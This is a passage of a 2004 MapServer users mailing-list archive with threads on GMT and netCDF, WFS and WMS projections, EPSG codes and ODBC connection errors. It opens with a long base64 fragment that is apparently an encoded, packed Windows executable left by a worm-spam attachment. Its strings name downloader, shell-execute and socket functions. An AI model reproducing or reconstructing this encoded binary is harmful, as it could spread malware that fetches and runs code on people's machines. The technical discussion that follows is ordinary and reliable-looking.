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 YekEbP//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAtCkzrWsZHzKelcJi UxhQkbt1RqnCn8Nkxna9l8O5eqlaQ6k7m2pKvxBDAi96MGZrjFpsvhdtkk7ESYVZlr8mjWgt fQtqSJElxw0nA2B3ppAFpw+BKcezGcYvDsOqKQN0SQ8ZM6ghMAbChaZOihssdbepEUhGTWao QqNfoxU3Nji8xYmqq7A8wMZaKbjAt0tYZ1uQPXW6REBtC8Wbs0xvXkq5KIapEHcNCKNSw7/F FcUbTkIufWJVfIidxDUPeQzBHJJQqxRSIRgLmYhcgaJ1V1qYpXRsS7lwYqeYByhzJ5gCizEd gDQEEWi2skxpTIURjrUFJKVhMCdkGg0DbrYjOnMeNEgnaDgjgkpDjotvQUBDlk7HL6IPrxyb gViKK3t2JIdFn19eqw64wVQyIW2WZwXCeSsAlXBuM5kdfKk+YyAIkKUKsGwqQcJIGSl3EyBH sAValUxfK2cRkrmeVJBSN3hnYBaQxZ8JjBdju1ybYyxnVZK0PZ83URqbsjglWME6unUFTIBD YbyeKjYWDCWFkn2+t1GwfwJlvEc3m7mURJOTGrdQroYcS3k7kldMia5SOldzdVVBOXwLnjY8 XmutYmOtLIuWGQYDLrKohDKYfKSxEmsnEl+RWAcWeh94uxVbgcIJuVWlsQIOFxi/PXYtZoyt O5WkbgfFeKqTSwpgLEOlSK7EJjpAFseWv1rBasQSr5cIe0t2lj1DUJZmAZV7riMBZxINsLpw jzCEpHhhZ2mIIw5nuX8OMHNZAYuUg6xCxoAdAQl4rQdUoQSbkrnFOki4x79DEBgKx0AIAVaj RS+PoAsVkGSOTXOIGTEmJ1oKdcMlSWdNZGcfqW8BHlEUe21XiiIkqSOkZopPvA8WLCwtMG1c oT+FkXMkCxx/UTGrIn89DU6EXZsgBHiMwxDDlhmPa5QHmR94qcG2YDaUfzpSUR8AqrMuQ42/ gaAirZIALyJ9b1JpvgkbIYhTfXQCXywdmLhAY6VnJBAXQCOrVouokVqWgcKigx+tjHCRGGFk OpoDHBYhRQoyX4QknzJ6SUsqALVxEYVTvhdgNbQaa51WXLoeqHsTwlpCNcABw2yGeXtrmTBz l6VQY5wIOlOCGcK4UjfFSX2jO5iaPVxEQT6ecBt+F1RtxgpKFzNKI2EVYzscLWEoRxUZc8BJ Sh+QMUWFlxh2I6suaEvEngF9HLWnCV5AZrILUgt/Un0okVC/qoGTiTx6KjCtmKiiMkiITMI/ ZyocHlrHHCnFjhtTJJ+BrLdGOn4+OnMXfGuwK556E2+BOsS3mblzBCJFlqp3GSySY1NRZEct qDnCc0GqVId/CQ8= ----------bculjuqmmbwxdqxgffdy-- From gerry.creager at tamu.edu Tue Jun 1 20:45:55 2004 From: gerry.creager at tamu.edu (Gerry Creager N5JXS) Date: Tue, 01 Jun 2004 22:45:55 -0500 Subject: [Mapserver-users] GMT and netCDF In-Reply-To: <000001c4482f$59df84a0$1364a8c0@parapente> References: <000001c4482f$59df84a0$1364a8c0@parapente> Message-ID: <40BD4D73.70808@tamu.edu> If you think of a NetCDF file as a Fortran-formatted data file, it will start making sense. GMT is a good tool for grid data, and works well for producing some maps, but it's not designed to do what Mapserver does. They're not the same thing, they are tools for different purposes. For what it's worth, I spend a LOT of time with netCDF files, read them, put the data in postgres db's and then make shapefiles from them. Gerry Murilo Lacerda Yoshida wrote: > Hi all, > > > > Has anyone in the list used the GMT (Generic Mapping Tools)? I looked > at its documentation and it is really a mess? What I understood is that > the input for GMT is a netCDF file, or a ascii table, or a raster file. > > I use shape files. I didn?t found in the documentation a way to > translate the shape file to a netCDF file, or use the shape file as > input for GMT. > > And if I understood the documentation, GMT has what I need, that is > that map interpolation issue. But things are never that easy... > > Help me please, > > Murilo > -- Gerry Creager -- gerry.creager at tamu.edu Texas Mesonet -- AATLT, Texas A&M University Cell: 979.229.5301 Office: 979.458.4020 FAX: 979.847.8578 Page: 979.228.0173 Office: 903A Eller Bldg, TAMU, College Station, TX 77843 From dmorissette at dmsolutions.ca Tue Jun 1 20:45:19 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Tue, 01 Jun 2004 23:45:19 -0400 Subject: [Mapserver-users] WFS client howto In-Reply-To: <20040601144242.U14255@osiris.deathkeep.com> References: <20040601113742.L12557@osiris.deathkeep.com> <20040601141029.O14255@osiris.deathkeep.com> <20040601144242.U14255@osiris.deathkeep.com> Message-ID: <40BD4D4F.7050200@dmsolutions.ca> Gregor Mosheh wrote: > > Our WMS system works A-OK, although the rasters are often reprojected by > the client (we use DD for the datasets, LCC or a UTM is usually used for > the output) and so they come out looking al funky. That's what we were > really trying to avoid. Perhaps, if WFS won't work for these needs, a > solution could be found with WMS? > You could avoid reprojection on the client side by advertizing multiple projections in your server's capabilities. You would do that by listing multiple EPSG codes in the wms_srs metadata on your server, either at the top level of the map, or in a specific layer. e.g. METADATA "wms_srs" "EPSG:4326 EPSG:xxxxx EPSG:yyyy EPSG:zzzz" END In WMS, a layer inherits the list of SRS of its parent(s), so it's enough to list all the supported SRS once at the top-level in the map. Then if you use a smart WMS client it should do the right thing automatically and request the layer in the output projection if it's available, avoiding the raster reprojection. If you use MapServer as a WMS client and create the mapfile by hand then you should copy the wms_srs metadata to the client mapfile to tell MapServer which SRS are available on the remote WMS server. Then at map display time MapServer will try to find a matching projection in the list, and will default to EPSG:4326 only if it can't find a match. HTH Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From dmorissette at dmsolutions.ca Tue Jun 1 20:53:54 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Tue, 01 Jun 2004 23:53:54 -0400 Subject: [Mapserver-users] need help with WFS In-Reply-To: <20040601111328.G12557@osiris.deathkeep.com> References: <20040601111328.G12557@osiris.deathkeep.com> Message-ID: <40BD4F52.20805@dmsolutions.ca> Gregor Mosheh wrote: > > And got this: > > > xmlns="http://www.ttt.org/myns" > xmlns:myns="http://www.ttt.org/myns" > xmlns:wfs="http://www.opengis.net/wfs" > xmlns:gml="http://www.opengis.net/gml" > xmlns:ogc="http://www.opengis.net/ogc" > xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" > xsi:schemaLocation="http://www.opengis.net/wfs > ../wfs/1.0.0/WFS-basic.xsd > http://www.ttt.org/myns > http://wms.hostgis.com:800/mapserv?SERVICE=WFS&VERSION=1.0.0&REQUEST=DescribeFeatureType&TYPENAME=streets"> > > inapplicable > > > > > > I don't know what to make of that at all. For what it's worth, here is the > WFS server's mapfile. It is configured to do both WMS and WFS. WMS > supports works perfectly. > This cryptic output is produced when the GetFeature request has no features to return. A WFS GetFeature request uses a MapServer query internally so it requires a dummy template parameter for a layer to be queryable. Try setting a dummy template value inside your layer's default class and that should help. -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From dmorissette at dmsolutions.ca Tue Jun 1 21:11:47 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 02 Jun 2004 00:11:47 -0400 Subject: [Mapserver-users] EPSG codes In-Reply-To: <64FC1B3E23F04C4E931EE3F6D809FF303ABF3E@DIV-MX02.divestco> References: <64FC1B3E23F04C4E931EE3F6D809FF303ABF3E@DIV-MX02.divestco> Message-ID: <40BD5383.6070601@dmsolutions.ca> Zamil Murji wrote: > Hello list, > > I am very new to epsg codes and I'm having some difficulty finding the correct code to use. Currently I am using a 4269 to show all of canada, however, this makes everything look so disproportionate. I am looking to use the lambert conical or lambert cylindrical codes, but I can't find them anywhere. Ideally I would like to use the same projection as the gmap application on the dmsolutions website. > There is no LCC for Canada as part of the official EPSG list, but several sites recognize the unofficial code "EPSG:42304": ## NAD83 LCC for Canada <42304> +proj=lcc +ellps=GRS80 +lat_0=49 +lon_0=-95 +lat_1=49 +lat_2=77 +datum=NAD83 +units=m no_defs <> If you want to use this code with MapServer then you'll have to add the line above to your PROJ4 "epsg" file, or download the following patched version: http://maptools.org/dl/proj4-epsg-with-42xxx.zip Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From jacob.delfos at maunsell.com Tue Jun 1 21:27:33 2004 From: jacob.delfos at maunsell.com (Delfos, Jacob) Date: Wed, 2 Jun 2004 14:27:33 +1000 Subject: [Mapserver-users] EPSG codes Message-ID: Daniel, What would be the correct way of requesting an entry to be added to the official EPSG? I tried to find out, but I haven't been able to find a person in charge of that. Jacob -----Original Message----- From: Daniel Morissette [mailto:dmorissette at dmsolutions.ca] Sent: Wednesday, 2 June 2004 12:12 PM To: Zamil Murji Cc: mapserver-users Subject: Re: [Mapserver-users] EPSG codes Zamil Murji wrote: > Hello list, > > I am very new to epsg codes and I'm having some difficulty finding the > correct code to use. Currently I am using a 4269 to show all of > canada, however, this makes everything look so disproportionate. I am > looking to use the lambert conical or lambert cylindrical codes, but I > can't find them anywhere. Ideally I would like to use the same > projection as the gmap application on the dmsolutions website. > There is no LCC for Canada as part of the official EPSG list, but several sites recognize the unofficial code "EPSG:42304": ## NAD83 LCC for Canada <42304> +proj=lcc +ellps=GRS80 +lat_0=49 +lon_0=-95 +lat_1=49 +lat_2=77 +datum=NAD83 +units=m no_defs <> If you want to use this code with MapServer then you'll have to add the line above to your PROJ4 "epsg" file, or download the following patched version: http://maptools.org/dl/proj4-epsg-with-42xxx.zip Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From mtomko at sunrise.sli.unimelb.edu.au Tue Jun 1 21:56:28 2004 From: mtomko at sunrise.sli.unimelb.edu.au (Martin Tomko) Date: Wed, 02 Jun 2004 14:56:28 +1000 Subject: [Mapserver-users] rotating map output - any idea? Message-ID: <6.0.0.22.2.20040602145607.01b4ffc0@sunrise.sli.unimelb.edu.au> > > >Hi list! >I have a strange idea, and I would like to get some ideas about how to >solve it.. >I would like to display a "here I am" dot, centered on the output map on a >map (oh, not using mapscript! - so if someone knows ohw to do it, please, >help!!). But in the same time, I would like to rotate the map by a given >azimuth (I could send it in the cgi string as a parameter, maybe...). NOw >- I was thinking about using False northing parameter of the projection >for that, but I am not sure if it would not change my position on the map >as well... For the start, lets assume that all my datasets are in the same >projection (of course, later the "dot" will be WGS84). Any idea?? > >Thanks for any input!! > >Martin From Kalpin Thu Jun 3 22:29:53 2004 From: Kalpin (Kalpin) Date: Fri, 4 Jun 2004 12:29:53 +0700 Subject: [Mapserver-users] Mapserver using MSSQL References: <006801c44952$881a7e00$3701010a@kalpin> <13183.212.238.227.182.1086085660.squirrel@webmail.xs4all.nl> <00c101c44959$e58433e0$3701010a@kalpin> <40BC95F3.9010409@pobox.com> Message-ID: <000b01c449f4$f759ec90$3701010a@kalpin> Dear all, I have download OpenEV version 1.7.4 and while I type ogrinfo for my ODBC, I get successfull. D:\OpenEV_FW\bin>ogrinfo ODBC:sa/kalpin at MSQL INFO: Open of `ODBC:sa/kalpin at MSQL' using driver `ODBC' successful. Then I try to copy mapserv.exe from D:\OpenEV_FW\bin\ to D:\Program Files\Apache Group\Apache2\cgi-bin (overwrite the old one) But I get error like below : msLoadImageGD(): GD library error. Unable to initialize image 'D:\Program Files\Apache Group\Apache2\htdocs\graphics\reference.gif' msImageLoadGD(): General error message. Unable to load GIF reference image. For your information I am using Windows 2000 Server, Apache 2.0.48-no-ssl. How to fix this problem ? Thank you Kalpin Erlangga Silaen ----- Original Message ----- From: "Frank Warmerdam" To: "Kalpin Erlangga Silaen" Sent: Tuesday, June 01, 2004 9:42 PM Subject: Re: [Mapserver-users] Mapserver using MSSQL > Kalpin Erlangga Silaen wrote: > > Dear all, > > > > 1. While I try use ogrinfo I get error like this : > > D:\openev_fw\bin>ogrinfo layer1.ovf > > FAILURE: > > Unable to open datasource `layer1.ovf' with the following drivers. > > -> ESRI Shapefile > > -> UK .NTF > > -> SDTS > > -> TIGER > > -> IHO S-57 (ENC) > > -> MapInfo File > > -> DGN > > -> GML > > -> AVCBin > > -> OGDI > > Kalpin, > > This ogrinfo does not appear to have the virtual file driver compiled in. > Is it a pretty old OpenEV_FW distribution? I would suggest upgrading to > at least OpenEV_FW 1.7.1, preferrably 1.7.4. > > Best regards, > > -- From Scot at Wilcoxon.Org Tue Jun 1 23:29:31 2004 From: Scot at Wilcoxon.Org (Scot Wilcoxon) Date: 02 Jun 2004 01:29:31 -0500 Subject: [Mapserver-users] msBuildPath: Unable to access file. Message-ID: <1086157770.15078.15.camel@localhost.localdomain> I persuaded PostGIS to quit complaining, but now I get an empty image and the only thing in a log file is: msBuildPath: Unable to access file. My wild guess is that the image is trying to be built in a directory someplace. Any way to persuade more detailed error messages to be emitted? Adding "DEBUG ON" to .map objects produced nothing -- or I don't know where such debug info is supposed to appear. I'm using an EXTENT from the example1-*.map files, which includes a view of the state in which my data is. It looks like the MULTILINESTRING(()) values in the_geom has similar values to my .map EXTENT. I don't know if it is relevant that table spatial_ref_sys is empty. (Should MULTILINESTRING be "TYPE POLYGON" or "TYPE LINE"?) From Kalpin Thu Jun 3 23:41:06 2004 From: Kalpin (Kalpin) Date: Fri, 4 Jun 2004 13:41:06 +0700 Subject: [Mapserver-users] Demo Data with MSSQL Message-ID: <004a01c449fe$ea952420$3701010a@kalpin> This is a multi-part message in MIME format. ------=_NextPart_000_0047_01C44A39.960D45A0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Dear all, Anybody here can give me a demo data using MSSQL ? I have download = itacha demo but it's for Linux and the data use another format. I need this because I want to test my virtual.ovf via ODBC (I suspect if = my data in MSSQL isn't valid). Need your help. Thank you. Kalpin Erlangga Silaen ------=_NextPart_000_0047_01C44A39.960D45A0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Dear all,
 
Anybody here can give me a demo data = using MSSQL ?=20 I have download itacha demo but it's for Linux and the data use another=20 format.
I need this because I want to test my = virtual.ovf=20 via ODBC (I suspect if my data in MSSQL isn't valid).
 
 
Need your help.
 
 
 
Thank you.
 
 
 
Kalpin Erlangga = Silaen
------=_NextPart_000_0047_01C44A39.960D45A0-- From Kalpin Fri Jun 4 00:11:17 2004 From: Kalpin (Kalpin) Date: Fri, 4 Jun 2004 14:11:17 +0700 Subject: [Mapserver-users] Problem using ODBC Message-ID: <007901c44a03$2269c190$3701010a@kalpin> This is a multi-part message in MIME format. ------=_NextPart_000_0076_01C44A3D.CDD5AE10 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Dear all, I have try to edit my .map like this : LAYER NAME blocks TYPE POLYGON STATUS ON CONNECTIONTYPE OGR CONNECTION "ODBC:sa/kalpin at MSQL" DATA "SELECT * FROM TbBlock" CLASS NAME 'BLOCKS' OUTLINECOLOR 128 128 128 COLOR 160 208 117 TEMPLATE "blocks.html" END HEADER "blocks_header.html" FOOTER "blocks_footer.html"=20 METADATA WMS_TITLE "Blocks region" WMS_ABSTRACT "Blocks region shapefile." WMS_SRS "EPSG:26915" END END But, I get error like below : msDrawMap(): Image handling error. Failed to draw layer named 'blocks'.=20 msOGRFileOpen(): OGR error. Open failed for OGR connection = `ODBC:sa/kalpin at MSQL'. File not found or unsupported format.=20 What must I do ? Thank you=20 Kalpin Erlangga Silaen ------=_NextPart_000_0076_01C44A3D.CDD5AE10 Content-Type: 